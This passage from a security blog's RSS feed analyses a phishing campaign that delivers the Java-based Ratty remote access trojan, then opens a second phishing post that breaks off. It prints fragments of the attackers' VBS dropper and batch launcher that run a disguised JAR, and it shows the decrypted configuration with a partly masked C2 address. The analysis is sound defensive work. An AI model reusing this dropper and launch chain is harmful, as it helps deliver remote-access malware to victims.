    &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NameSpace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CopyHere&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NameSpace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zipPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sleep&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;&apos; Abre o manual&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objFSO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FileExists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scriptToRun&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;wsh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Run&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scriptToRun&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we get the URL to retrieve the malware payload: a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gofile.io&lt;/code&gt;-hosted ZIP file, downloaded using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WinHttpRequest&lt;/code&gt; method. We also get our execution entry point after extracting the ZIP: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\bin\voicepress.cmd&lt;/code&gt;. Another detail in the script is that it opens a decoy Google Drive page to distract the victim while the VBS downloads the ZIP in the background. The complete infection chain can be seen in the diagram below.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 100%;&quot; alt=&quot;Infection chain&quot; src=&quot;/images/javarat26/infection-chain.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;h2 id=&quot;analyzing-the-package&quot;&gt;Analyzing the Package&lt;/h2&gt;

&lt;p&gt;After following the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gofile.io&lt;/code&gt; link we get our ZIP, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;voicepress5.zip&lt;/code&gt;. By manually extracting it we can see a somewhat familiar folder structure and files:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;├── bin
├── COPYRIGHT
├── legal
├── lib
├── LICENSE
├── README.txt
├── release
├── THIRDPARTYLICENSEREADME-JAVAFX.txt
├── THIRDPARTYLICENSEREADME.txt
└── Welcome.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a complete Java installation, as we can verify by looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;release&lt;/code&gt; file:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;JAVA_VERSION=&quot;1.8.0_441&quot;
JAVA_RUNTIME_VERSION=&quot;1.8.0_441-b07&quot;
OS_NAME=&quot;Windows&quot;
OS_VERSION=&quot;5.2&quot;
OS_ARCH=&quot;amd64&quot;
SOURCE=&quot;.:git:fea06d2930f8+&quot;
BUILD_TYPE=&quot;commercial&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, whatever malware we are dealing with, it &lt;em&gt;should&lt;/em&gt; be Java-based. Using the aforementioned entry point execution path, we can focus on our malware payload, so let’s check the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;voicepress.cmd&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo off
&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;extractPath=%TEMP%&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ollectionservice&quot;&lt;/span&gt;
:: Verifica se a pasta existe antes de executar
&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;exist &lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ublic&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\v&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oicepress&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\j&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ava.exe&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    start /B &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ublic&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\v&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oicepress&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\j&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ava.exe&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-jar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-noverify&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ublic&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\v&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oicepress&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\v&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oicepress.png&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Erro: Pasta extraída não encontrada!
    &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt; /b
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;voicepress&lt;/code&gt; script checks if the extraction succeeded and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;java.exe&lt;/code&gt; exists. After that, it tries to execute a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;png&lt;/code&gt; file. By examining that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;png&lt;/code&gt; file we can see that it is simply a JAR with the extension changed:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file voicepress.png 
voicepress.png: Zip archive data, at least v2.0 to extract, compression &lt;span class=&quot;nv&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;deflate
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jar tf voicepress.png
com/sun/jna/platform/mac/CoreFoundation&lt;span class=&quot;nv&quot;&gt;$CFIndex&lt;/span&gt;.class
com/sun/jna/Callback&lt;span class=&quot;nv&quot;&gt;$UncaughtExceptionHandler&lt;/span&gt;.class
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;unpacking-the-payload&quot;&gt;Unpacking the Payload&lt;/h2&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 75%;&quot; alt=&quot;jdgui&quot; src=&quot;/images/javarat26/jdgui.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;The next step is to analyse our JAR. For that, my usual go-to tool is &lt;a href=&quot;https://java-decompiler.github.io/&quot;&gt;JD-GUI&lt;/a&gt;, a just-works Java decompiler. As expected, we are indeed dealing with a Java application: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Main-Class: com.proj.client.Client&lt;/code&gt;. By looking at the main class we can observe that the code is highly obfuscated using a combination of techniques commonly associated with commercial Java obfuscator tools such as &lt;a href=&quot;https://www.zelix.com/klassmaster/index.html&quot;&gt;Zelix KlassMaster&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 100%;&quot; alt=&quot;Obfuscated code&quot; src=&quot;/images/javarat26/obfuscated.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;There are some parts, however, that were not properly obfuscated, including the names of classes, files, and several functions. From these we can glean the capabilities of the malware at our hands.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Persistence via service with compatibility across all OSes&lt;/strong&gt;: right at the start, the malware calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getService().install();&lt;/code&gt; which invokes the OS-specific service handler, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service = (IService)new WindowsService();&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service = (IService)new LinuxService();&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service = (IService)new OSXService();&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Calls back to a Command-and-Control (C2) server&lt;/strong&gt;: it opens a socket &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Socket sc = new Socket();&lt;/code&gt; and connects &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sc.connect(new InetSocketAddress(CONFIG.getHost(), CONFIG.getPort()), &amp;lt;unknown&amp;gt;);&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attempts to distract the victim during installation&lt;/strong&gt;: pops up random &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JOptionPanels&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JOptionPane.showMessageDialog(null, CONFIG.getMessageBoxText(), CONFIG.getMessageBoxTitle(), CONFIG.getMessageBoxCategory());&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Includes a logger class&lt;/strong&gt;: which seems a careless oversight by the attackers to ship with the malware. When executing the JAR in a sandbox we can see this logger in action: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server not available, retrying in 20ms&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Packs a wide range of features including camera/microphone remote control, keylogger, browser password stealer, etc.&lt;/strong&gt;: Examples supporting the existence of these features in the code include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decryptChromiumPassword&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CameraInfo[] getCameras()&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RobotScreenshot.createScreenshot&lt;/code&gt;, amongst others.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By submitting the malware sample to &lt;a href=&quot;https://www.virustotal.com/gui/file/e8265a39ac667c5f8ad36f9021e9faa06e6df09fcd96bc5e3da27e9b646c6820/detection&quot;&gt;VirusTotal&lt;/a&gt; we can see this is a known malware of the type RAT (Remote Access Trojan), with the known threat label &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trojan.java/ratty&lt;/code&gt;, with a fairly low detection rate across antivirus solutions: &lt;em&gt;23/68 security vendors flagged this file as malicious&lt;/em&gt;. A diagram of the inner workings of the RAT can be seen in the figure below.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 100%;&quot; alt=&quot;Infection chain&quot; src=&quot;/images/javarat26/ratty.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;h2 id=&quot;the-ai-tricks&quot;&gt;The AI Tricks&lt;/h2&gt;

&lt;p&gt;So, we have a highly obfuscated JAR of a known malware strain. However, we have, so far, no insight into the &lt;em&gt;strings&lt;/em&gt; in the code, and that is typically where the most important information lies: hostnames, ports, etc. As most of the strings are encrypted with XOR or similar strategies, we should be able to decrypt them, because the JAR is a self-contained piece and must therefore carry all the encryption keys for whatever encryption is in use. By feeding the JAR into Claude (free version) and asking it to decrypt the code, it was able to create a Python script (after some back-and-forth) that takes the JAR as input and applies heuristics to decrypt most of the strings.&lt;/p&gt;

&lt;p&gt;You can find the “decoder” code in the following gist: &lt;a href=&quot;https://gist.github.com/jpdias/202028376caa0564a0d5a190ae784299&quot;&gt;202028376caa0564a0d5a190ae784299&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After examining the decoded strings, a closer look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Config.class&lt;/code&gt;, which is used by the main &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client.class&lt;/code&gt; to load configurations, reveals some &lt;em&gt;interesting&lt;/em&gt; entries:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;======================================================================
  com/proj/client/Config
======================================================================
  (xor     ) key=&apos;bChDk&apos;   =&amp;gt;  &apos;Hide_Client_File&apos;
  (xor     ) key=&apos;wVRAg&apos;   =&amp;gt;  &apos;Show_Message_Box&apos;
  (des     ) key=&apos;gUhCV&apos;   =&amp;gt;  &apos;Message_Box_Title&apos;
  (des     ) key=&apos;qzLNE&apos;   =&amp;gt;  &apos;Message_Box_Text&apos;
  (blowfish) key=&apos;XUaqE&apos;   =&amp;gt;  &apos;checksum&apos;
  (xor     ) key=&apos;HbLHt&apos;   =&amp;gt;  &apos;checksum&apos;
  (des     ) key=&apos;iDsaf&apos;   =&amp;gt;  &apos;Failed to read config&apos;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Why is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;checksum&lt;/code&gt; file used in a configuration?…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By examining the checksum file, we can see that it does indeed look a lot like a checksum hash. But now we know this is just smoke and mirrors to make the file appear harmless when, in reality, it is a core part of the malware configuration. Once again, let’s see if Claude is up to the task of figuring out how to decrypt it.&lt;/p&gt;

&lt;p&gt;You can find the code at the Gist: &lt;a href=&quot;https://gist.github.com/jpdias/202028376caa0564a0d5a190ae784299&quot;&gt;202028376caa0564a0d5a190ae784299&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[+] Loaded checksum file: ../voicepress5/bin/voicepress/checksum
[+] Decrypted successfully (256 bytes → 190 chars)

  AES key string : &apos;checksum&apos;
  AES key (hex)  : a80ed2ef79e22f1d8af817cea1dbbf01

  Host                      = 80.211.137.XX
  Port                      = 7711
  AutoStart                 = true
  Hide_Client_File          = false
  Show_Message_Box          = false
  Message_Box_Title         = 
  Message_Box_Text          = 
  Message_Box_Category      = -1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Claude was able to successfully craft a decryptor for the checksum file and reveal the RAT’s configuration. By storing these configurations in a file, attackers can easily reconfigure their malware without needing to recompile the Java code, enabling attacks at scale. But how exactly did Claude figure it out?&lt;/p&gt;

&lt;p&gt;We already know that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loadConfig&lt;/code&gt; function references the checksum file (as per the previous step), but this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;checksum&lt;/code&gt; string appears twice, and in the second reference it is used as an argument to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decryptAES&lt;/code&gt; static method call as a decryption &lt;strong&gt;key&lt;/strong&gt; (&lt;em&gt;careless or intentional?&lt;/em&gt;). This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decryptAES&lt;/code&gt; function must be defined somewhere. The malware packs a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptUtil&lt;/code&gt; class, and by decoding the strings from that class we see some interesting results:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;======================================================================
  com/proj/client/util/security/CryptUtil
======================================================================
  (des     ) key=&apos;LRqHH&apos;   =&amp;gt;  &apos;AES/ECB/PKCS5Padding&apos;
  (xor     ) key=&apos;EZovn&apos;   =&amp;gt;  &apos;AES/ECB/PKCS5PADDING&apos;
  (xor     ) key=&apos;pNJAQ&apos;   =&amp;gt;  &apos;.enc&apos;
  (des     ) key=&apos;tyvJd&apos;   =&amp;gt;  &apos;AES&apos;
  (blowfish) key=&apos;PbUxI&apos;   =&amp;gt;  &apos;.dec&apos;
  (blowfish) key=&apos;rTeNm&apos;   =&amp;gt;  &apos;AES&apos;
  (xor     ) key=&apos;LvcgR&apos;   =&amp;gt;  &apos;SHA-1&apos;
  (xor     ) key=&apos;UTgUh&apos;   =&amp;gt;  &apos;AES&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The key detail here is the SHA-1 string. AES encryption in Java requires a key of exactly 16, 24, or 32 bytes, but the input decryption key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;checksum&lt;/code&gt; is only 8 bytes, which is not enough for AES to work. However, the malware code hashes the initial key with SHA-1 to extend it:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javaMessageDigest.getInstance(&quot;SHA-1&quot;).digest(keyString.getBytes(&quot;UTF-8&quot;))&lt;/code&gt; gives 20 bytes, and then,&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Arrays.copyOf(result, 16)&lt;/code&gt; truncates the SHA-1 hash to give us the required 16-byte key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With that, we can use the identified encryption scheme &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AES/ECB/PKCS5Padding&lt;/code&gt; to decrypt the checksum configuration:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;derive_aes_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#javaMessageDigest.getInstance(&quot;SHA-1&quot;).digest(keyString.getBytes(&quot;UTF-8&quot;))
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ciphertext&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#checksum file content
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MODE_ECB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;padded&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ciphertext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the extracted configuration, we can see that the malware attempts to connect to a C2 server at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80.211.137.XX&lt;/code&gt; on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7711&lt;/code&gt;. We can also observe configuration options such as auto-start being enabled. By checking the ARIN record for that IP address we can see it belongs to &lt;em&gt;Aruba S.p.A. - Cloud Services Farm2&lt;/em&gt;, part of &lt;a href=&quot;https://www.aruba.it/en/home.aspx&quot;&gt;aruba.it&lt;/a&gt;, an Italian IT services provider that offers on-demand servers. This can also be verified with &lt;a href=&quot;https://mxtoolbox.com/arin.aspx&quot;&gt;Mxtoolbox - ARIN Lookup&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;threat-landscape&quot;&gt;Threat Landscape&lt;/h2&gt;

&lt;p&gt;This is one of the most sophisticated phishing campaigns I have had the opportunity to analyze. Looking around online, we can find reports of similar campaigns based on the same Ratty malware family:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;2024: &lt;a href=&quot;https://www.esentire.com/blog/beware-the-bait-java-rats-lurking-in-tax-scam-emails&quot;&gt;ESENTIRE - Beware the Bait: Java RATs Lurking in Tax Scam Emails&lt;/a&gt;, a phishing campaign leveraging tax themes within the Business Services sector using the same Ratty RAT&lt;/li&gt;
  &lt;li&gt;2025: &lt;a href=&quot;https://www.broadcom.com/support/security-center/protection-bulletin/mail-campaign-delivers-java-based-rat&quot;&gt;Mail campaign delivers Java-based RAT&lt;/a&gt;, a malicious email campaign observed targeting organizations in Italy 🇮🇹, Portugal 🇵🇹, and Spain 🇪🇸 using the same Spanish email provider service&lt;/li&gt;
  &lt;li&gt;2025: &lt;a href=&quot;https://www.fortinet.com/blog/threat-research/multilayered-email-attack-how-a-pdf-invoice-and-geofencing-led-to-rat-malware&quot;&gt;Multilayered Email Attack: How a PDF Invoice and Geo-Fencing Led to RAT Malware&lt;/a&gt;, another similar report mentioning the same campaign.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From these references we can see that similar strategies are being used (including the same email service), and the target profile is consistent: Portugal, Spain, and Italy. Regarding attribution, most of the code comments are in Portuguese, so it would not be surprising if this malware was adapted with the help of an AI agent, considering that the original Ratty was an open-source project, although the repository no longer exists. Some information about its origins can be found on &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty&quot;&gt;malpedia - Ratty&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the VBS script mentioned earlier, there were some seemingly random strings: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;MFGS52or138e 52 peCSDF52aSDASce 138 iFAFGGFn 138 thAFDGGFSDFDe 138 woDSAFDDFD52rld! 52 e 138 DüDADFDFDDn52yada 52 dDSADFDFDFaha 138 fazDSADFDFDla 138 baDASDFDSD138rış!&lt;/code&gt;. After stripping the garbage we get the real message:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;More peace in the world! Dünya’da daha fazla barış!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last part is Turkish for “More peace in the world!”, which could point to a Turkish 🇹🇷 origin, but this is pure speculation.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;[26/02/2026] Phishing email received.&lt;/li&gt;
  &lt;li&gt;[03/03/2026] IP reported to aruba.it as malicious activity and taken down.&lt;/li&gt;
  &lt;li&gt;[04/03/2026] OneDrive file reported as malicious activity and taken down.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/infosec/2026/03/04/email-to-rat.html</link>
        <guid isPermaLink="true">https://jpdias.me/infosec/2026/03/04/email-to-rat.html</guid>
        
        <category>phishing</category>
        
        <category>malware</category>
        
        <category>rat</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Plywood Trojan: When Attackers Go Budget</title>
        <description>&lt;p&gt;I’m always amused by the smell of a fresh phishing email in the morning. And this time, a closer to home one, as I know the target company since I have a friend working there, namely, Uphold. So let’s dive right in.&lt;/p&gt;

&lt;!--more--&gt;

&lt;blockquote&gt;
  &lt;p&gt;Disclaimer: Uphold is not in any way affiliated with this research nor its outcomes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;target-acquired&quot;&gt;Target Acquired&lt;/h2&gt;

